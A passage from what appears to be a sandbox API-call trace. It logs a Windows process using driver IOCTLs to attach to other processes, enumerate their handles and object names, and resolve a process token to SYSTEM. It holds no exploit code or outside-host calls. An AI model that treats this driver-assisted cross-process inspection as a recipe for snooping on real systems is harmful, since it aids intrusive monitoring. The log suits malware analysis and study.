ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.587] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0130.587] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.587] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.587] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0130.587] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.587] PsAcquireProcessExitSynchronization () returned 0x0 [0130.587] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.638] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0130.638] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.638] PsReleaseProcessExitSynchronization () returned 0x2 [0130.638] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.638] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.638] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0130.638] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.638] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.638] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0130.638] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.638] PsAcquireProcessExitSynchronization () returned 0x0 [0130.638] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.791] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0130.791] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.791] PsReleaseProcessExitSynchronization () returned 0x2 [0130.791] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.791] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.791] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0130.791] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.792] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.792] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0130.792] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.792] PsAcquireProcessExitSynchronization () returned 0x0 [0130.792] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.933] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0130.933] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.933] PsReleaseProcessExitSynchronization () returned 0x2 [0130.933] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.933] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.933] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0130.933] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.933] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.933] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0130.933] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.933] PsAcquireProcessExitSynchronization () returned 0x0 [0130.933] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0131.118] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0131.118] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.119] PsReleaseProcessExitSynchronization () returned 0x2 [0131.119] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0131.119] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.119] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0131.119] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.119] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.119] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0131.119] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.119] PsAcquireProcessExitSynchronization () returned 0x0 [0131.119] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0131.303] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0131.303] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.304] PsReleaseProcessExitSynchronization () returned 0x2 [0131.304] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0131.304] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.304] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0131.304] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.304] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.304] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.304] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.304] PsAcquireProcessExitSynchronization () returned 0x0 [0131.304] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0131.456] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0131.456] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.456] PsReleaseProcessExitSynchronization () returned 0x2 [0131.456] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0131.456] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.456] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0131.456] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.456] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.456] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0131.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.456] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0131.456] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0131.456] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0131.456] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa8002195380 | out: TokenHandle=0xfffffa8002195380*=0xc8) returned 0x0 [0131.457] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0131.457] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.457] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.457] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.459] CloseHandle (hObject=0xc8) returned 1 [0131.459] CloseHandle (hObject=0xc0) returned 1 [0131.459] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.459] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.459] PsAcquireProcessExitSynchronization () returned 0x0 [0131.459] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.459] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0131.459] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.459] PsReleaseProcessExitSynchronization () returned 0x2 [0131.459] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.459] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.459] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0131.459] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.459] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.459] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0131.459] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.459] PsAcquireProcessExitSynchronization () returned 0x0 [0131.459] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.459] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0131.459] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.459] PsReleaseProcessExitSynchronization () returned 0x2 [0131.460] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.460] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.460] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0131.460] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.460] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.460] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.460] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.460] PsAcquireProcessExitSynchronization () returned 0x0 [0131.460] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.460] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0131.460] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.460] PsReleaseProcessExitSynchronization () returned 0x2 [0131.460] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.460] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.460] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0131.460] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.460] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.460] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.460] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.460] PsAcquireProcessExitSynchronization () returned 0x0 [0131.460] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.460] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0131.460] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.460] PsReleaseProcessExitSynchronization () returned 0x2 [0131.460] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.460] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.460] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0131.460] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.460] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.460] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.461] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.461] PsAcquireProcessExitSynchronization () returned 0x0 [0131.461] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.461] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0131.461] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.461] PsReleaseProcessExitSynchronization () returned 0x2 [0131.461] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.461] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.461] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0131.461] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.461] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.461] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.461] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.461] PsAcquireProcessExitSynchronization () returned 0x0 [0131.461] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.461] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0131.461] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.461] PsReleaseProcessExitSynchronization () returned 0x2 [0131.461] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.461] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.461] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0131.461] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.461] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.461] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.461] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.461] PsAcquireProcessExitSynchronization () returned 0x0 [0131.462] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.462] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0131.462] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.462] PsReleaseProcessExitSynchronization () returned 0x2 [0131.462] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.462] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.462] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0131.462] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.462] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.463] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.463] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.463] PsAcquireProcessExitSynchronization () returned 0x0 [0131.463] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.463] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0131.463] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.463] PsReleaseProcessExitSynchronization () returned 0x2 [0131.463] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.463] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.463] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0131.463] IofCompleteRequest (Irp=0xfffffa800c9fb010, 